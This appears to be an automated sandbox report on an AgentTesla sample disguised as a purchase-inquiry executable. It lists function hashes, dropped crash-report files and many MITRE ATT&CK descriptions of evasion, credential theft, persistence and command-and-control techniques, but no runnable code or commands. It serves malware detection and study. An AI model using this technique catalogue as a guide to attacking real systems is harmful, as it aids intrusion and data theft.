Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(00000000), ref: 010CB6C0

Memory Dump Source

Source File: 00000030.00000002.2875980880.00000000010C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_10c0000_jsc.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: b8573d93d4112f0d732462b03bba5bd146d54fba0b7e64e5bc9dbafbedfca558
Instruction ID: f7d248c776f56d5c428c5deb691c7a1b46c8d77678aebdf9464bdc1a50ff4478
Opcode Fuzzy Hash: b8573d93d4112f0d732462b03bba5bd146d54fba0b7e64e5bc9dbafbedfca558
Instruction Fuzzy Hash: 082124B1C006199FDB14CF9AD5457AEFBF4BF48320F14816AD858A7250D738A940CFA4

Function 010CB650 Relevance: 1.6, APIs: 1, Instructions: 56fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(00000000), ref: 010CB6C0

Memory Dump Source

Source File: 00000030.00000002.2875980880.00000000010C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_10c0000_jsc.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: c1025525e7e1b34972bd0a59bc9e58ee3543143ff2020d91048e3f74bfb46f5c
Instruction ID: 7dbccdcd97389bc73370f3f76e79eb70f1fe25285757d7fb8fb6ca7c828049f9
Opcode Fuzzy Hash: c1025525e7e1b34972bd0a59bc9e58ee3543143ff2020d91048e3f74bfb46f5c
Instruction Fuzzy Hash: B81133B1C0061A9BCB14CF9AC545B9EFBF4BF48720F10816AD858A7250D738A940CFA5

Function 0107D044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000030.00000002.2874671635.000000000107D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0107D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_107d000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e01fa846f3f9a47e76cc320f98a42ff5c9d9e355e83df2fc6419c787f1c92d07
Instruction ID: e6c2f733cc07b3d481dce6555409a1fcdbef5eac33af9bd0302cc14aabd7210e
Opcode Fuzzy Hash: e01fa846f3f9a47e76cc320f98a42ff5c9d9e355e83df2fc6419c787f1c92d07
Instruction Fuzzy Hash: 0D213771904204EFCB12DF68D9C4B26BBA5FF84314F20C5ADE9894B252C737D446CBA5

Function 0107D03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000030.00000002.2874671635.000000000107D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0107D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_107d000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 5c23398b3f93d3ebd27dce4c5d4f8ae33575a013c56ba48d74081d9e94485451
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: E211D075904244DFDB12CF54D5C4B15BFA1FF44314F24C6A9E9894B252C33AD44ACFA1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Networking

System Summary

Persistence and Installation Behavior

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_svchost.exe_94d8de46975ebb84b7d7bf7439ceff3d8ebb342b_86edb7bf_473f79e4-0d6a-44ee-95d8-f8273cfab5ad\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_svchost.exe_daa74aecddff3d3c16abaa1f57c8bcbc853838bb_86edb7bf_12f9defd-974f-469a-b999-ce207f8d0863\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_svchost.exe_daa74aecddff3d3c16abaa1f57c8bcbc853838bb_86edb7bf_190b559b-a032-42b3-ad83-88391fdb83ac\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_svchost.exe_daa74aecddff3d3c16abaa1f57c8bcbc853838bb_86edb7bf_270a125f-24b2-404d-ae84-f6ed04cd2eee\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA82A.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBC7D.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBE34.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBF4E.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBF8B.tmp.csv

Windows Analysis Report
RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre